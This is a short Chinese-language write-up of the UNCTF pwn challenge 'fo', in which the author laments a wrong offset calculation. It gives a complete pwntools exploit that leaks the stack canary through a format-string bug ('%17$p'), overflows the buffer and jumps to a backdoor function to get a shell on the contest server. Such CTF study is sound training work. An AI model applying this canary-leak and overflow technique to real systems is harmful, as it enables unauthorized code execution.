UNCTF——fo
我真是个傻逼!这题目就是拿来自己打醒自己的,比赛卡了一晚上,一度怀疑是自己字符串漏洞没学好,研究一晚格式化字符串,结果wp出来一看,计算偏移量搞错,我真是个大傻逼!!!
检查保护机制,64位,开NX和canary

思路
题目里printf函数,可以直接格式化字符串漏洞溢出canary地址,然后覆盖夺权,思路很简单。

但我是万万没想到啊,栽在自己手里

从头到尾,一共0x58的大小,我偏偏忘掉减canary地址,以至于整个题卡住,我是傻逼!!!
最后就不用多说了
exp
from pwn import *
#context.binary='fo'
context.log_level='debug'
#r=process('./fo')
r=remote("node2.hackingfor.fun",36041 )
elf=ELF('./fo')
rdi=0x4008e3
backdoor=0x40080D
main=0x400823
r.recvuntil("you?")
payload='%17$p'
r.sendline(payload)
r.recvuntil("0x")
canary = int(r.recv(16), 16)
payload='a'*(0x58)+p64(canary)+'a'*8+p64(backdoor)
#r.recvuntil("...")
r.sendline(payload)
r.interactive()
总的来说,题目很好,下次不会再犯傻逼错误了,省赛加油!